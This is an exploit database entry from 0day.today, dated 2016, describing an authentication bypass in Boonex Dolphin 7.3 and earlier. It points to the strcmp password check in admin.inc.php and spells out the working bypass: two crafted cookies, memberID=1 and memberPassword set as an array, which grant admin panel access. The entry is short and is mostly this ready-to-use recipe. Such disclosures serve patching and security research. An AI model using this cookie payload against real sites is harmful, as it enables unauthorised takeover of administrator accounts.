Boonex Dolphin 7.3.2 - Authentication Bypass Vulnerability

2016-10-26T00:00:00
ID 1337DAY-ID-26140
Type zdt
Reporter Saadi Siddiqui
Modified 2016-10-26T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            # Exploit Title     : Boonex Dolphin all versoin <= 7.3 Authentication Bypass
# Exploit Author    : Saadat Ullah saadi_linux[@]rocketmail.com
# Software Link     : https://www.boonex.com
# Author HomePage   : http://security-geeks.blogspot.com
  
 
Proof of Concept
 
File: admin.inc.php
Line: 187
Code: (strcmp($aProfile['Password'], $passwd) != 0)
  
$passwd is equal to Cookie parameter memberpassword
  
Bug:
According to PHP documentation strcmp will compare strings, but what if we provide an array???
  
So, simple bypass is to put two cookies in browser
memberID=1
memberPassword[]=blah --->array
  
This will allow the attacker to bypass the authentication and can also enter in admin panel.
  
#Independent Pakistani Security Researcher

#  0day.today [2018-02-15]  #